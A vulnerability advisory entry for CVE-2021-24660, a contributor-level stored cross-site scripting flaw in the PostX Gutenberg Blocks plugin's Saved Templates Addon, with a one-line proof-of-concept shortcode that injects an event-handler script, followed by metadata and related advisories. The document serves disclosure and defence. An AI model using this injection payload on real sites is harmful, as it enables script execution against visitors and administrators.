PostX Gutenberg Blocks Saved Templates Addon < 2.4.10 – Contributor+ Stored Cross-Site Scripting | CVE 2021-24660 | Plugin Vulnerabilities

Description

The plugin, with Saved Templates Addon enabled, allows users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks via the plugin's shortcode.

Proof of Concept

Create a page as any user with the following shortcode block:
[gutenberg_post_blocks id='a" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//']

Affects Plugins

Fixed in 2.4.10

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

apple502j

Submitter

apple502j

Verified

Yes

WPVDB ID

af14ac23-843d-4f80-beaf-237618109edd

Timeline

Publicly Published

2021-08-26 (about 4 years ago)

Added

2021-08-26 (about 4 years ago)

Last Updated

2022-04-11 (about 3 years ago)

Other

Published

Title

Published

2025-02-08

Title

Simple add pages or posts <= 2.0.0 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2024-02-16

Title

Page scroll to id < 1.7.9 - Contributor+ Stored XSS

Published

2024-04-26

Title

WP ULike < 2.7.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting

Published

2015-05-06

Title

Facebook Page Photo Gallery <= 2.0.9 - DOM Cross-Site Scripting (XSS)

Published

2025-01-16

Title

MLL Audio Player MP3 Ajax <= 0.7 - Authenticated (Subscriber+) Stored Cross-Site Scripting